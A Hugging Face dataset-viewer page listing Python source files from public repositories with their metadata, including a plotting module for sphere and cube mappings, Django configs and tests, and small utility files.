xszheng2020/the_stack_dedup_python_hits_5 · Datasets at Hugging Face

c83c6a77a92db084f0d2352d15bb41b2909dab5e

19

py

Python

Programming Languages/Python/Theory/100_Python_Exercises/Exercises/Exercise 93/subdirs/level12/level121/6.py

jaswinder9051998/Resources

fd468af37bf24ca57555d153ee64693c018e822e

[ "MIT" ]

101

2021-12-20T11:57:11.000Z

2022-03-23T09:49:13.000Z

Programming Languages/Python/Theory/100_Python_Exercises/Exercises/Exercise 93/subdirs/level12/level121/6.py

jaswinder9051998/Resources

fd468af37bf24ca57555d153ee64693c018e822e

[ "MIT" ]

4

2022-01-12T11:55:56.000Z

2022-02-12T04:53:33.000Z

Programming Languages/Python/Theory/100_Python_Exercises/Exercises/Exercise 93/subdirs/level12/level121/6.py

jaswinder9051998/Resources

fd468af37bf24ca57555d153ee64693c018e822e

[ "MIT" ]

38

2022-01-12T11:56:16.000Z

2022-03-23T10:07:52.000Z

print("Hello User")

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null

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5

c856212b1e5a00f4b0faf37002122aee01c6580b

27

py

Python

version.py

SlyryD/OoT-Randomizer

91d5c46ad9c57d2bd6dc9cf568923073686d7ac4

[ "MIT" ]

null

version.py

SlyryD/OoT-Randomizer

91d5c46ad9c57d2bd6dc9cf568923073686d7ac4

[ "MIT" ]

null

version.py

SlyryD/OoT-Randomizer

91d5c46ad9c57d2bd6dc9cf568923073686d7ac4

[ "MIT" ]

null

__version__ = '6.0.36 R-1'

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c083089233dcc5ea1de67a9a22c1029d107622d2

121

py

Python

coverage_comment/log.py

OptimeeringAS/python-coverage-comment-action

8ad51106c29cf72cea966495db6234974b611c3f

[ "MIT" ]

2

2022-02-04T09:22:47.000Z

2022-03-13T21:34:17.000Z

coverage_comment/log.py

OptimeeringAS/python-coverage-comment-action

8ad51106c29cf72cea966495db6234974b611c3f

[ "MIT" ]

4

2022-01-30T21:46:43.000Z

2022-03-28T20:32:11.000Z

coverage_comment/log.py

OptimeeringAS/python-coverage-comment-action

8ad51106c29cf72cea966495db6234974b611c3f

[ "MIT" ]

1

2022-03-18T14:44:37.000Z

import logging logger = logging.getLogger("coverage_comment") def __getattr__(name): return getattr(logger, name)

15.125

46

0.760331

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5

c084930396e29ede4e7f9c57d0553466a6327155

275

py

Python

dashboard/urls.py

kendricktan/laice

fa61218504938710f180131dfa9d2cdafa9ca9d2

[ "MIT" ]

195

2016-10-16T06:17:35.000Z

2020-12-27T18:50:08.000Z

dashboard/urls.py

Jason-Cooke/laice

fa61218504938710f180131dfa9d2cdafa9ca9d2

[ "MIT" ]

12

2016-12-21T06:39:18.000Z

2021-06-10T19:53:07.000Z

dashboard/urls.py

Jason-Cooke/laice

fa61218504938710f180131dfa9d2cdafa9ca9d2

[ "MIT" ]

33

2016-10-24T09:30:09.000Z

2019-08-28T06:46:44.000Z

from django.conf.urls import url from django.conf import settings from django.conf.urls.static import static from . import views urlpatterns = [ url(r'^$', views.dashboard_view, name='dashboard_view'), ] + static(settings.STATIC_URL, document_root=settings.STATIC_ROOT)

30.555556

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5

c0c42705f3bbe8d8c6c20df6bca269e2213f8786

17,491

py

Python

analyze/maps_plot.py

kajoel/Simulating_quantum_systems_on_an_emulated_quantum_computer

f78d0880e1a75a147ac4d858a01edb9bea5eb625

[ "Apache-2.0" ]

1

2021-01-28T13:29:47.000Z

analyze/maps_plot.py

kajoel/Simulating_quantum_systems_on_an_emulated_quantum_computer

f78d0880e1a75a147ac4d858a01edb9bea5eb625

[ "Apache-2.0" ]

null

analyze/maps_plot.py

kajoel/Simulating_quantum_systems_on_an_emulated_quantum_computer

f78d0880e1a75a147ac4d858a01edb9bea5eb625

[ "Apache-2.0" ]

null

""" Plotting maps from maps.py @author = Joel """ import itertools import numpy as np from matplotlib import cm import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D # noqa: F401 unused import from core import maps def ball_cube_2d(map, mapi) -> plt.Figure: """ Plots map from ball to cube and its inverse. (Colorful) :param map: Map from ball to cube. :param mapi: Map from cube to ball :return: Figure. """ # Init plot object: fig, ax = plt.subplots(2, 2) # ### Ball to cube ### num_grid = 9 n = 8 * (num_grid - 1) + 1 grid_idx = np.linspace(0, n - 1, num_grid, dtype=int) r_line = np.linspace(0, 1, n) t_line = np.linspace(0, 2*np.pi, n) r_ball, t_ball = np.meshgrid(r_line, t_line, indexing='ij') color = r_ball # Map x_cube_from_ball = np.zeros(r_ball.shape) y_cube_from_ball = np.zeros(r_ball.shape) for i, j in itertools.product(range(r_line.size), range(t_line.size)): x_cube_from_ball[i, j], y_cube_from_ball[i, j] = map( np.array([r_line[i]*np.cos(t_line[j]), r_line[i]*np.sin(t_line[j])]) ) # Plot style_r = ['--', '-', '-', '-'] style_t = [':', '--', '-.', '-'] ax[0, 0].pcolormesh(r_ball*np.cos(t_ball), r_ball*np.sin(t_ball), color, cmap='viridis') ax[0, 1].pcolormesh(x_cube_from_ball, y_cube_from_ball, color, cmap='viridis') for k, t_idx in enumerate(grid_idx): ax[0, 0].plot(r_ball[t_idx, :]*np.cos(t_ball[t_idx, :]), r_ball[t_idx, :]*np.sin(t_ball[t_idx, :]), color='r', linewidth=1, linestyle=style_t[divmult(k)]) ax[0, 1].plot(x_cube_from_ball[t_idx, :], y_cube_from_ball[t_idx, :], color='r', linewidth=1, linestyle=style_t[divmult(k)]) for k, r_idx in enumerate(grid_idx): ax[0, 0].plot(r_ball[:, r_idx] * np.cos(t_ball[:, r_idx]), r_ball[:, r_idx] * np.sin(t_ball[:, r_idx]), color='r', linewidth=1, linestyle=style_r[divmult(k)]) ax[0, 1].plot(x_cube_from_ball[:, r_idx], y_cube_from_ball[:, r_idx], color='r', linewidth=1, linestyle=style_r[divmult(k)]) ax[0, 0].axis('equal') ax[0, 0].axis(1.1*np.array([-1, 1, -1, 1])) ax[0, 1].axis('equal') ax[0, 1].axis(1.1 * np.array([-1, 1, -1, 1])) # ### Cube to ball ### num_grid = 9 n = 8*(num_grid-1) + 1 grid_idx = np.linspace(0, n - 1, num_grid, dtype=int) x_line = np.linspace(-1, 1, n) y_line = np.linspace(-1, 1, n) x_cube, y_cube = np.meshgrid(x_line, y_line, indexing='ij') color = -(x_cube**2 + y_cube**2) # Map x_ball_from_cube = np.zeros(x_cube.shape) y_ball_from_cube = np.zeros(y_cube.shape) for i, j in itertools.product(range(x_line.size), range(y_line.size)): x_ball_from_cube[i, j], y_ball_from_cube[i, j] = mapi( np.array([x_line[i], y_line[j]]) ) # Plot style_x = [':', '--', '-.', '-'] style_y = [':', '--', '-.', '-'] ax[1, 0].pcolormesh(x_cube, y_cube, color, cmap='plasma') ax[1, 1].pcolormesh(x_ball_from_cube, y_ball_from_cube, color, cmap='plasma') for k, x_idx in enumerate(grid_idx): ax[1, 0].plot(x_cube[x_idx, :], y_cube[x_idx, :], color='g', linestyle=style_x[divmult(k)]) ax[1, 1].plot(x_ball_from_cube[x_idx, :], y_ball_from_cube[x_idx, :], color='g', linestyle=style_x[divmult(k)]) for k, y_idx in enumerate(grid_idx): ax[1, 0].plot(x_cube[:, y_idx], y_cube[:, y_idx], color='g', linestyle=style_y[divmult(k)]) ax[1, 1].plot(x_ball_from_cube[:, y_idx], y_ball_from_cube[:, y_idx], color='g', linestyle=style_y[divmult(k)]) ax[1, 0].axis('equal') ax[1, 0].axis(1.1 * np.array([-1, 1, -1, 1])) ax[1, 1].axis('equal') ax[1, 1].axis(1.1 * np.array([-1, 1, -1, 1])) return fig def ball_cube_2d_2(map, mapi) -> plt.Figure: """ Plots map from ball to cube and its inverse. (Not colorful) :param map: Map from ball to cube. :param mapi: Map from cube to ball :return: Figure. """ # Init plot object: fig = plt.figure() ax = np.array([[fig.add_subplot(2, 2, 1), fig.add_subplot(2, 2, 2)], [fig.add_subplot(2, 2, 3), fig.add_subplot(2, 2, 4)]]) # ### Ball to cube ### grids = 17 r_line = np.linspace(0, 1, grids) t_line = np.linspace(0, 2 * np.pi, grids) r_ball, t_ball = np.meshgrid(r_line, t_line, indexing='ij') # Map x_cube_from_ball = np.zeros(r_ball.shape) y_cube_from_ball = np.zeros(r_ball.shape) for i, j in itertools.product(range(r_line.size), range(t_line.size)): x_cube_from_ball[i, j], y_cube_from_ball[i, j] = map( np.array( [r_line[i] * np.cos(t_line[j]), r_line[i] * np.sin(t_line[j])]) ) # Plot ax[0, 0].pcolormesh(r_ball * np.cos(t_ball), r_ball * np.sin(t_ball), np.ones(r_ball.shape), cmap=cm.binary, edgecolors='C0') ax[0, 1].pcolormesh(x_cube_from_ball, y_cube_from_ball, np.ones(r_ball.shape), cmap=cm.binary, edgecolors='C0') ax[0, 0].axis('equal') ax[0, 0].axis(1.1 * np.array([-1, 1, -1, 1])) ax[0, 1].axis('equal') ax[0, 1].axis(1.1 * np.array([-1, 1, -1, 1])) # ### Cube to ball ### grids = 17 x_line = np.linspace(-1, 1, grids) y_line = np.linspace(-1, 1, grids) x_cube, y_cube = np.meshgrid(x_line, y_line, indexing='ij') # Map x_ball_from_cube = np.zeros(r_ball.shape) y_ball_from_cube = np.zeros(r_ball.shape) for i, j in itertools.product(range(x_line.size), range(y_line.size)): x_ball_from_cube[i, j], y_ball_from_cube[i, j] = mapi( np.array([x_cube[i, j], y_cube[i, j]]) ) # Plot ax[1, 0].pcolormesh(x_cube, y_cube, np.ones(x_cube.shape), cmap=cm.binary, edgecolors='C0') ax[1, 1].pcolormesh(x_ball_from_cube, y_ball_from_cube, np.ones(r_ball.shape), cmap=cm.binary, edgecolors='C0') ax[1, 0].axis('equal') ax[1, 0].axis(1.1 * np.array([-1, 1, -1, 1])) ax[1, 1].axis('equal') ax[1, 1].axis(1.1 * np.array([-1, 1, -1, 1])) return fig def sphere_ball(map, mapi) -> plt.Figure: """ Plots map from (3d) sphere to (2d) ball and its inverse. :param map: Map from sphere to ball. :param mapi: Map from ball to sphere. :return: Figure. """ # Init plot object: fig = plt.figure() ax = np.array([[fig.add_subplot(2, 2, 1, projection='3d'), fig.add_subplot(2, 2, 2)], [fig.add_subplot(2, 2, 3), fig.add_subplot(2, 2, 4, projection='3d')]]) # ### Sphere to ball ### grids = 16 + 1 # num_grid = 9 # m = 8 # n = m * (num_grid - 1) + 1 # grid_idx = np.linspace(0, n - 1, num_grid, dtype=int) # grid_2d = np.ix_(grid_idx, grid_idx) # TODO: idea for grid on surface t_line = np.linspace(1e-2, np.pi, grids) # TODO: change grids to n p_line = np.linspace(0, 2 * np.pi, grids) # change grids to n t_sphere, p_sphere = np.meshgrid(t_line, p_line, indexing='ij') # color = (np.pi-t_sphere) # Color map for surface # color = color/np.max(color)+0.2 # Map x_ball_from_sphere = np.zeros(t_sphere.shape) y_ball_from_sphere = np.zeros(t_sphere.shape) for i, j in itertools.product(range(t_line.size), range(p_line.size)): x_ball_from_sphere[i, j], y_ball_from_sphere[i, j] = map( np.array( [np.sin(t_line[i]) * np.cos(p_line[j]), np.sin(t_line[i]) * np.sin(p_line[j]), np.cos(t_line[i])]) ) # Plot # style_t = ['--', '-', '-', '-'] # Gridstyles # style_p = [':', '--', '-.', '-'] # cmap = cm.ScalarMappable(cmap='viridis') # Colomap # cmap.set_array(color) # cmap.autoscale() # Surface plot # ax[0, 0].plot_surface(np.sin(t_sphere) * np.cos(p_sphere), # np.sin(t_sphere) * np.sin(p_sphere), # np.cos(t_sphere), # linewidth=10, rcount=1000, ccount=1000, # edgecolor=edge_color, # antialiased=False, # facecolors=cmap.to_rgba(color)) # Heatmap corresponding to surface plot: # ax[0, 1].pcolormesh(x_ball_from_sphere, y_ball_from_sphere, color, # cmap='viridis') # Grid plot: ax[0, 0].plot_wireframe(np.sin(t_sphere) * np.cos(p_sphere), np.sin(t_sphere) * np.sin(p_sphere), np.cos(t_sphere)) ax[0, 1].pcolormesh(x_ball_from_sphere, y_ball_from_sphere, np.ones(t_sphere.shape), cmap=cm.binary, edgecolors='C0') ax[0, 0].set_aspect('equal') ax[0, 1].axis('equal') ax[0, 1].axis(1.1 * np.array([-1, 1, -1, 1])) # ### Ball to sphere ### grids = 16 + 1 r_line = np.linspace(0, 1-1e-2, grids) # TODO: change grids to n t_line = np.linspace(0, 2 * np.pi, grids) # change grids to n r_ball, t_ball = np.meshgrid(r_line, t_line, indexing='ij') # Map x_sphere_from_ball = np.zeros(r_ball.shape) y_sphere_from_ball = np.zeros(r_ball.shape) z_sphere_from_ball = np.zeros(r_ball.shape) for i, j in itertools.product(range(r_line.size), range(t_line.size)): x_sphere_from_ball[i, j], \ y_sphere_from_ball[i, j], \ z_sphere_from_ball[i, j] = mapi( np.array([r_line[i] * np.cos(t_line[j]), r_line[i] * np.sin(t_line[j])]) ) # Plot ax[1, 0].pcolormesh(r_ball * np.cos(t_ball), r_ball * np.sin(t_ball), np.ones(r_ball.shape), cmap=cm.binary, edgecolors='C0') ax[1, 1].plot_wireframe(x_sphere_from_ball, y_sphere_from_ball, z_sphere_from_ball) ax[1, 1].set_aspect('equal') ax[1, 0].axis('equal') ax[1, 0].axis(1.1 * np.array([-1, 1, -1, 1])) return fig def sphere_cube(map, mapi) -> plt.Figure: """ Plots map from (3d) sphere to (2d) cube and its inverse. :param map: Map from sphere to cube. :param mapi: Map from cube to sphere. :return: Figure. """ # Init plot object: fig = plt.figure() ax = np.array([[fig.add_subplot(2, 2, 1, projection='3d'), fig.add_subplot(2, 2, 2)], [fig.add_subplot(2, 2, 3), fig.add_subplot(2, 2, 4, projection='3d')]]) # ### Sphere to cube ### grids = 16 + 1 t_line = np.linspace(1e-2, np.pi, grids) p_line = np.linspace(0, 2 * np.pi, grids) t_sphere, p_sphere = np.meshgrid(t_line, p_line, indexing='ij') # Map x_cube_from_sphere = np.zeros(t_sphere.shape) y_cube_from_sphere = np.zeros(t_sphere.shape) for i, j in itertools.product(range(t_line.size), range(p_line.size)): x_cube_from_sphere[i, j], y_cube_from_sphere[i, j] = map( np.array( [np.sin(t_line[i]) * np.cos(p_line[j]), np.sin(t_line[i]) * np.sin(p_line[j]), np.cos(t_line[i])]) ) # Plot ax[0, 0].plot_wireframe(np.sin(t_sphere) * np.cos(p_sphere), np.sin(t_sphere) * np.sin(p_sphere), np.cos(t_sphere)) ax[0, 1].pcolormesh(x_cube_from_sphere, y_cube_from_sphere, np.ones(t_sphere.shape), cmap=cm.binary, edgecolors='C0') ax[0, 0].set_aspect('equal') ax[0, 1].axis('equal') ax[0, 1].axis(1.1 * np.array([-1, 1, -1, 1])) # ### Cube to sphere ### grids = 16 + 1 x_line = np.linspace(-1, 1, grids) # +- 1e-2 if error y_line = np.linspace(-1, 1, grids) # +- 1e-2 if error x_cube, y_cube = np.meshgrid(x_line, y_line, indexing='ij') # Map x_sphere_from_cube = np.zeros(x_cube.shape) y_sphere_from_cube = np.zeros(x_cube.shape) z_sphere_from_cube = np.zeros(x_cube.shape) for i, j in itertools.product(range(x_line.size), range(y_line.size)): x_sphere_from_cube[i, j], \ y_sphere_from_cube[i, j], \ z_sphere_from_cube[i, j] = mapi( np.array([x_line[i], y_line[j]]) ) # Plot ax[1, 0].pcolormesh(x_cube, y_cube, np.ones(x_cube.shape), cmap=cm.binary, edgecolors='C0') ax[1, 1].plot_wireframe(x_sphere_from_cube, y_sphere_from_cube, z_sphere_from_cube) ax[1, 1].set_aspect('equal') ax[1, 0].axis('equal') ax[1, 0].axis(1.1 * np.array([-1, 1, -1, 1])) return fig def sphere_plane(map, mapi) -> plt.Figure: """ Plots map from (3d) sphere to (2d) plane and its inverse. :param map: Map from sphere to plane. :param mapi: Map from plane to sphere. :return: Figure. """ # Init plot object: fig = plt.figure() ax = np.array([[fig.add_subplot(2, 2, 1, projection='3d'), fig.add_subplot(2, 2, 2)], [fig.add_subplot(2, 2, 3), fig.add_subplot(2, 2, 4, projection='3d')]]) # ### Sphere to plane ### grids = 16 + 1 t_line = np.linspace(1e-2, np.pi, grids) p_line = np.linspace(0, 2 * np.pi, grids) t_sphere, p_sphere = np.meshgrid(t_line, p_line, indexing='ij') # Map x_plane_from_sphere = np.zeros(t_sphere.shape) y_plane_from_sphere = np.zeros(t_sphere.shape) for i, j in itertools.product(range(t_line.size), range(p_line.size)): x_plane_from_sphere[i, j], y_plane_from_sphere[i, j] = map( np.array( [np.sin(t_line[i]) * np.cos(p_line[j]), np.sin(t_line[i]) * np.sin(p_line[j]), np.cos(t_line[i])]) ) # Plot ax[0, 0].plot_wireframe(np.sin(t_sphere) * np.cos(p_sphere), np.sin(t_sphere) * np.sin(p_sphere), np.cos(t_sphere)) ax[0, 1].pcolormesh(x_plane_from_sphere, y_plane_from_sphere, np.ones(t_sphere.shape), cmap=cm.binary, edgecolors='C0') ax[0, 0].set_aspect('equal') ax[0, 1].axis('equal') ax[0, 1].axis(1.1 * np.array([-5, 5, -5, 5])) # ### Plane to sphere ### grids = 16 + 1 r_line = np.linspace(0, 1, int(grids/2)) r_line = np.concatenate((r_line, np.logspace(0, 1, int(grids/2)))) t_line = np.linspace(0, 2 * np.pi, grids) r_plane, t_plane = np.meshgrid(r_line, t_line, indexing='ij') # Map x_sphere_from_plane = np.zeros(r_plane.shape) y_sphere_from_plane = np.zeros(r_plane.shape) z_sphere_from_plane = np.zeros(r_plane.shape) for i, j in itertools.product(range(r_line.size), range(t_line.size)): x_sphere_from_plane[i, j], \ y_sphere_from_plane[i, j], \ z_sphere_from_plane[i, j] = mapi( np.array([r_line[i] * np.cos(t_line[j]), r_line[i] * np.sin(t_line[j])]) ) # Plot ax[1, 0].pcolormesh(r_plane * np.cos(t_plane), r_plane * np.sin(t_plane), np.ones(r_plane.shape), cmap=cm.binary, edgecolors='C0') ax[1, 1].plot_wireframe(x_sphere_from_plane, y_sphere_from_plane, z_sphere_from_plane) ax[1, 1].set_aspect('equal') ax[1, 0].axis('equal') ax[1, 0].axis(1.1 * np.array([-1, 1, -1, 1])) return fig def divmult(n: int, m: int = 2) -> int: """ Checks how many times n is divisible by m. Returns -1 if n=0 @author = Joel :param n: Numerator :param m: Denominator :return: Multiplicity """ if n < 0: raise ValueError('Only non-negative integers are supported for n.') elif n == 0: return -1 q, r = divmod(n, m) count = 0 while not r: count += 1 q, r = divmod(q, m) return count def _main_1(): fig_1 = ball_cube_2d_2(maps.ball_to_cube_linear, maps.cube_to_ball_linear) fig_1.suptitle('2D ball to cube (linear)') fig_2 = sphere_ball(lambda x: maps.sphere_to_ball(x, pole=2), lambda x: maps.ball_to_sphere(x, pole=2)) fig_2.suptitle('3D sphere to 2D ball') fig_3 = sphere_cube(lambda x: maps.ball_to_cube_linear( maps.sphere_to_ball(x, pole=2)), lambda x: maps.ball_to_sphere( maps.cube_to_ball_linear(x), pole=2)) fig_3.suptitle('3D sphere to 2D cube') fig_4 = sphere_plane(lambda x: maps.sphere_to_plane(x, pole=2), lambda x: maps.plane_to_sphere(x, pole=2)) fig_4.suptitle('3D sphere to 2D plane') if __name__ == '__main__': # _main_1() ball_cube_2d_2(lambda x: maps.ball_to_cube_norm(x, k=1), lambda x: maps.cube_to_ball_norm(x, k=1)) # plt.show()

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null

0

5

8d0374e26c91629f53ed381781a0eb22f7c3ed06

65

py

Python

python3/trim/trim1.py

jtraver/dev

c7cd2181594510a8fa27e7325566ed2d79371624

[ "MIT" ]

null

python3/trim/trim1.py

jtraver/dev

c7cd2181594510a8fa27e7325566ed2d79371624

[ "MIT" ]

null

python3/trim/trim1.py

jtraver/dev

c7cd2181594510a8fa27e7325566ed2d79371624

[ "MIT" ]

null

#!/usr/bin/env python3 #!/usr/bin/python print(" this".strip())

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null

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9b1ea2bbe6f8a86f01cc9b2abaedbccb89837488

33

py

Python

archivenow/__init__.py

MasterScott/archivenow

f71d52d99f9f1b3ac5a10bdc3de20f18180e0872

[ "MIT" ]

6

2017-02-09T23:59:30.000Z

2021-04-07T03:13:07.000Z

archivenow/__init__.py

MasterScott/archivenow

f71d52d99f9f1b3ac5a10bdc3de20f18180e0872

[ "MIT" ]

8

2017-02-10T15:02:52.000Z

2017-02-16T05:16:48.000Z

archivenow/__init__.py

MasterScott/archivenow

f71d52d99f9f1b3ac5a10bdc3de20f18180e0872

[ "MIT" ]

5

2017-02-10T05:02:07.000Z

2017-02-21T02:12:42.000Z

__version__ = '2019.7.27.2.35.46'

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null

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f198be682e202c60e104e11275b5b70cc065ed90

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py

Python

waitlist/test/test_tasks.py

rodbv/kamu

f390d91f7d7755b49176cf5d504648e3fe572237

[ "MIT" ]

70

2018-05-23T16:44:44.000Z

2021-12-05T21:48:10.000Z

waitlist/test/test_tasks.py

rodbv/kamu

f390d91f7d7755b49176cf5d504648e3fe572237

[ "MIT" ]

122

2018-10-06T21:31:24.000Z

2020-11-09T15:04:56.000Z

waitlist/test/test_tasks.py

rodbv/kamu

f390d91f7d7755b49176cf5d504648e3fe572237

[ "MIT" ]

50

2018-05-23T05:49:10.000Z

2021-11-22T07:53:42.000Z

from django.contrib.auth.models import User from django.core import mail from django.test import TestCase from django.utils import timezone from books.models import Book, BookCopy, Library from waitlist.models import WaitlistItem from waitlist.tasks import send_new_user_on_waitlist_notification, send_waitlist_book_available_notification class NewUserOnWaitListNotificationTaskTest(TestCase): def setUp(self): self.book = Book.objects.create( author="Author", title="Clean Code", subtitle="The subtitle", publication_date=timezone.now()) self.library = Library.objects.create(name="Santiago", slug="slug") self.user = User.objects.create( username="claudia", email="claudia@gmail.com", first_name="Claudia", last_name="Silva") self.waitlist_item = WaitlistItem.objects.create( book=self.book, library=self.library, user=self.user, added_date=timezone.now()) def test_sends_waitlist_email_to_borrowers_of_book(self): borrower1 = User.objects.create(username="person 1", email="person1@gmail.com") borrower2 = User.objects.create(username="person 2", email="person2@gmail.com") BookCopy.objects.create(book=self.book, library=self.library, user=borrower1) BookCopy.objects.create(book=self.book, library=self.library, user=borrower2) send_new_user_on_waitlist_notification(self.waitlist_item.id) self.assertEqual(len(mail.outbox), 1) self.assertEqual(mail.outbox[0].to, [borrower1.email, borrower2.email]) def test_does_not_send_waitlist_email_to_a_book_without_borrowers(self): BookCopy.objects.create(book=self.book, library=self.library, user=None) send_new_user_on_waitlist_notification(self.waitlist_item.id) self.assertEqual(len(mail.outbox), 0) def test_sets_the_subject_with_the_book_title_and_waitlist_user_name(self): borrower1 = User.objects.create(username="person 1", email="person1@gmail.com") BookCopy.objects.create(book=self.book, library=self.library, user=borrower1) send_new_user_on_waitlist_notification(self.waitlist_item.id) self.assertEqual(mail.outbox[0].subject, 'Claudia Silva is waiting for the book Clean Code on Kamu') def test_includes_details_in_email_body(self): borrower1 = User.objects.create(username="person 1", email="person1@gmail.com") BookCopy.objects.create(book=self.book, library=self.library, user=borrower1) send_new_user_on_waitlist_notification(self.waitlist_item.id) email_body = mail.outbox[0].body self.assertIn('Claudia Silva is waiting for the book Clean Code', email_body) self.assertIn('no other copies are available in Santiago', email_body) class BookAvailableWaitListNotificationTaskTest(TestCase): def setUp(self): self.book = Book.objects.create( author="Author", title="Clean Code", subtitle="The subtitle", publication_date=timezone.now()) self.library = Library.objects.create(name="Santiago", slug="slug") self.user = User.objects.create( username="claudia", email="claudia@gmail.com", first_name="Claudia", last_name="Silva") self.book_copy = self.book.bookcopy_set.create(library=self.library, user=None) def test_sends_email_to_users_on_waitlist_to_notify_a_book_copy_is_available(self): other_user = User.objects.create(username="person 1", email="person1@gmail.com") WaitlistItem.objects.create(book=self.book, library=self.library, user=self.user, added_date=timezone.now()) WaitlistItem.objects.create( book=self.book, library=self.library, user=other_user, added_date=timezone.now()) send_waitlist_book_available_notification(self.book_copy.id) self.assertEqual(len(mail.outbox), 1) self.assertEqual(mail.outbox[0].to, [self.user.email, other_user.email]) def test_does_not_send_email_to_a_book_with_empty_waitlist(self): send_waitlist_book_available_notification(self.book_copy.id) self.assertEqual(len(mail.outbox), 0) def test_sets_the_subject_with_the_book_title(self): WaitlistItem.objects.create(book=self.book, library=self.library, user=self.user, added_date=timezone.now()) send_waitlist_book_available_notification(self.book_copy.id) self.assertEqual(mail.outbox[0].subject, 'Clean Code is now available on Kamu') def test_includes_details_in_email_body(self): WaitlistItem.objects.create(book=self.book, library=self.library, user=self.user, added_date=timezone.now()) send_waitlist_book_available_notification(self.book_copy.id) email_body = mail.outbox[0].body self.assertIn('Clean Code, that is on your waitlist, is now available in Santiago', email_body)

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116

0.740986

650

4,826

5.281538

0.153846

0.079522

0.057676

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0.787358

0.741334

0.718322

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0.66356

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0.007319

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0.279412

0

null

0

1

0

null

0

5

f1afdac690c753a2457d3f6ada436da59570eb7f

183

py

Python

busy_beaver/models/__init__.py

ZaxR/busy-beaver

ffe1250d0156f71d1053f37c8070ca0dd888348f

[ "MIT" ]

null

busy_beaver/models/__init__.py

ZaxR/busy-beaver

ffe1250d0156f71d1053f37c8070ca0dd888348f

[ "MIT" ]

null

busy_beaver/models/__init__.py

ZaxR/busy-beaver

ffe1250d0156f71d1053f37c8070ca0dd888348f

[ "MIT" ]

null

# Helpers from .base import BaseModel # noqa # Models from .user import User # noqa from .api_user import ApiUser # noqa # Key-Value Store from .kv_store import kv_store # noqa

18.3

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1

0

5

f1b383e7e3cf48a71551c51b2fc47a774578e51c

142

py

Python

extrarumps/utility.py

raphaelhuefner/allbar

594ab75bc2f7324cbdfddfd67a6d9fbfe18f08f8

[ "MIT" ]

8

2018-08-21T21:56:36.000Z

2022-03-21T23:43:44.000Z

extrarumps/utility.py

raphaelhuefner/allbar

594ab75bc2f7324cbdfddfd67a6d9fbfe18f08f8

[ "MIT" ]

2

2018-05-10T10:29:41.000Z

2018-05-10T10:30:43.000Z

extrarumps/utility.py

raphaelhuefner/allbar

594ab75bc2f7324cbdfddfd67a6d9fbfe18f08f8

[ "MIT" ]

1

2018-05-15T17:51:03.000Z

import base64 def get_data_from_base64_data_url(data_url): header, encoded = data_url.split(',', 1) return base64.b64decode(encoded)

23.666667

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null

0

1

0

1

0

5

f1f848db3e6b568360f7fccd36f99c54849160c9

150

py

Python

src/torch_opstractor/test.py

microsoft/opstractor

86160ae627a53b986c466694a3bb96284b670e89

[ "MIT" ]

1

2021-10-09T05:35:11.000Z

src/torch_opstractor/test.py

microsoft/opstractor

86160ae627a53b986c466694a3bb96284b670e89

[ "MIT" ]

null

src/torch_opstractor/test.py

microsoft/opstractor

86160ae627a53b986c466694a3bb96284b670e89

[ "MIT" ]

null

# from labml_nn.capsule_networks.mnist import main from labml_nn.adaptive_computation.ponder_net.experiment import main import torch_opstractor main()

37.5

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150

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true

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null

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1

0

1

0

1

0

5

9e2f3d2852cd1fe5f73fc79fc8e0b7909e83ef41

59

py

Python

codechef/beginner/FIRST.py

muj-programmer/cp_is_awesome

a0974bcda6bf5a3041af8237ddb04fd804ccde6d

[ "MIT" ]

3

2019-08-28T18:00:46.000Z

2019-08-30T18:38:24.000Z

codechef/beginner/FIRST.py

muj-programmer/cp_is_awesome

a0974bcda6bf5a3041af8237ddb04fd804ccde6d

[ "MIT" ]

1

2019-08-30T18:41:46.000Z

2019-09-11T20:13:01.000Z

codechef/beginner/FIRST.py

muj-programmer/cp_is_awesome

a0974bcda6bf5a3041af8237ddb04fd804ccde6d

[ "MIT" ]

null

# AC 26/08/2019 17:58:21 IST # n = int(input()) print(n)

9.833333

30

0.576271

13

59

2.615385

0.923077

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0.297872

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59

5

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1

0

null

0

1

0

5

9e305a1f33e5d290fac897910502ef607e94bd9d

168

py

Python

ass3-airplane_det/mmdet/models/roi_extractors/__init__.py

Rooooyy/BUAA_PR

5b4d12dc786c3fdc469ae59e0b099e8095aee550

[ "BSD-2-Clause" ]

2

2021-06-09T16:21:53.000Z

2021-08-30T02:31:56.000Z

mmdet/models/roi_extractors/__init__.py

jedibobo/S2ANet-custom-dataset

869b196d4c33713a5c61bd80064d10a453fb76ef

[ "Apache-2.0" ]

null

mmdet/models/roi_extractors/__init__.py

jedibobo/S2ANet-custom-dataset

869b196d4c33713a5c61bd80064d10a453fb76ef

[ "Apache-2.0" ]

null

from .single_level import SingleRoIExtractor from .single_level_rotated import SingleRoIExtractorRotated __all__ = ['SingleRoIExtractor', 'SingleRoIExtractorRotated']

33.6

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0

1

0

1

0

5

7b495ebce8e00e9f2e571a3d09a20bb2e0e8e94e

134

py

Python

fitnessFolks/screening/admin.py

Programming-Club-Ahmedabad-University/wellness

4cc06497ce2f2a6019c0fa4595940703605ffb0a

[ "MIT" ]

1

2020-10-07T09:51:01.000Z

fitnessFolks/screening/admin.py

Programming-Club-Ahmedabad-University/wellness

4cc06497ce2f2a6019c0fa4595940703605ffb0a

[ "MIT" ]

1

2020-10-15T07:58:16.000Z

fitnessFolks/screening/admin.py

Programming-Club-Ahmedabad-University/wellness

4cc06497ce2f2a6019c0fa4595940703605ffb0a

[ "MIT" ]

2

2020-10-07T07:48:18.000Z

2021-07-16T04:22:44.000Z

from django.contrib import admin from .models import Questions, Answers admin.site.register(Questions) admin.site.register(Answers)

19.142857

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null

0

1

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1

0

5

7b5bee56710bc8f5af9a21d26d31b3558a6fd3e3

251

py

Python

gp_kernel.py

steveli/gp-adapter

361fdfbc97f9691b1cc1b422953536b3673e5ee0

[ "MIT" ]

13

2017-08-30T02:54:04.000Z

2021-09-27T07:37:17.000Z

gp_kernel.py

steveli/gp-adapter

361fdfbc97f9691b1cc1b422953536b3673e5ee0

[ "MIT" ]

null

gp_kernel.py

steveli/gp-adapter

361fdfbc97f9691b1cc1b422953536b3673e5ee0

[ "MIT" ]

4

2017-08-30T02:54:11.000Z

2020-02-03T18:45:55.000Z

import numpy as np import theano.tensor as T def symbolic_kernel(t_diff, gp_params): return gp_params[0] * T.exp(-gp_params[1] * T.sqr(t_diff)) def kernel(t_diff, gp_params): return gp_params[0] * np.exp(-gp_params[1] * np.square(t_diff))

22.818182

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0.709163

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251

3.479167

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10

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25.1

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1

0

null

0

1

0

1

0

5

